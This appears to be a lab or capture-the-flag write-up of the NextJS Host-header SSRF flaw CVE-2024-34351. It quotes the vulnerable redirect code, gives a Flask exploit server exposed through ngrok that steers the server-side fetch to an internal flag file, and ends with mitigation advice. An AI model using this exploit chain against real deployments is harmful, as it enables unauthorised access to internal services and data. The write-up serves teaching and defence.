The Dangers of Host Header Abuse Illustrated by a NextJS SSRF Vulnerability (CVE-2024-34351)

Host Concept Introduction

When a browser requests a URL, it sends an HTTP request that includes a mandatory Host header indicating the target hostname or domain. The server uses this header to route the request to the correct virtual host.

Purpose of the Host Header

The Host header enables a single IP address to serve multiple websites by allowing the server to distinguish which site the client intends to reach.

Risks of Host Header Abuse

Attackers can manipulate the Host header to trick the server into treating the request as if it originated from a trusted domain, bypassing security checks. This can lead to XSS, SSRF, SQL injection, unauthorized access, cache poisoning, password‑reset poisoning, and other attacks.

Case Study: CVE‑2024‑34351 (NextJS)

The vulnerability resides in NextJS’s server‑side rendering flow. When a redirect URL starts with / , NextJS builds a fetchUrl using the incoming request’s Host header and then performs a server‑side fetch . If an attacker supplies a malicious Host value, the server will fetch resources from an arbitrary internal host, resulting in SSRF.

async function createRedirectRenderResult(
  req: IncomingMessage,
  res: ServerResponse,
  redirectUrl: string,
  basePath: string,
  staticGenerationStore: StaticGenerationStore
) {
  ...
  if (redirectUrl.startsWith('/')) {
    const host = req.headers['host'];
    const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`);
    try {
      const headResponse = await fetch(fetchUrl, {
        method: 'HEAD',
        headers: forwardedHeaders,
        next: { internal: 1 }
      });
      if (headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER) {
        const response = await fetch(fetchUrl, {
          method: 'GET',
          headers: forwardedHeaders,
          next: { internal: 1 }
        });
        return new FlightRenderResult(response.body!);
      }
    } catch (err) {
      ...
    }
  }
  return RenderResult.fromStatic('{}');
}

The host variable is taken directly from the request headers, so a forged Host header can cause the server to request an attacker‑controlled internal address.

Reproducing the Host Header Vulnerability

The target web application has the following structure (excerpt):

Archive:  log-action.zip
   creating: log-action/
   creating: log-action/backend/
  inflating: log-action/backend/flag.txt
  inflating: log-action/docker-compose.yml
   creating: log-action/frontend/
  inflating: log-action/frontend/.gitignore
  inflating: log-action/frontend/Dockerfile
  ...

The goal is to read log-action/backend/flag.txt , which is exposed via Nginx at /usr/share/nginx/html/flag.txt . By abusing the Host header during a redirect from the logout page, the attacker can cause NextJS to fetch http:// /flag.txt and return its contents.

Exploit Server (Flask)

from flask import Flask, request, Response, redirect
app = Flask(__name__)

@app.route('/login')
def exploit():
    if request.method == 'HEAD':
        response = Response()
        response.headers['Content-Type'] = 'text/x-component'
        return response
    elif request.method == 'GET':
        return 'After CORS preflight check'

if __name__ == '__main__':
    app.run(port=80, debug=True)

Using ngrok to expose the Flask server:

Forwarding https://1593-xxxx.ngrok-free.app -> http://localhost:80

After sending a /logout request, the response body contains the fetched resource, confirming the SSRF.

Redirecting to the Internal Flag

@app.route('/login')
def exploit():
    if request.method == 'HEAD':
        ...
    elif request.method == 'GET':
        ip = 'backend‑IP'
        return redirect(f'http://{ip}/flag.txt')

The modified Flask endpoint redirects the server‑side fetch to the internal flag file, allowing the attacker to retrieve its contents.

Mitigation

Developers should validate and whitelist the Host header before performing redirects or constructing URLs. Reject or sanitize any unexpected Host values to prevent SSRF and related attacks.

Conclusion

This article analyzed the NextJS SSRF vulnerability (CVE‑2024‑34351), demonstrated how abusing the Host header can lead to severe security issues, and provided practical exploitation steps and remediation advice.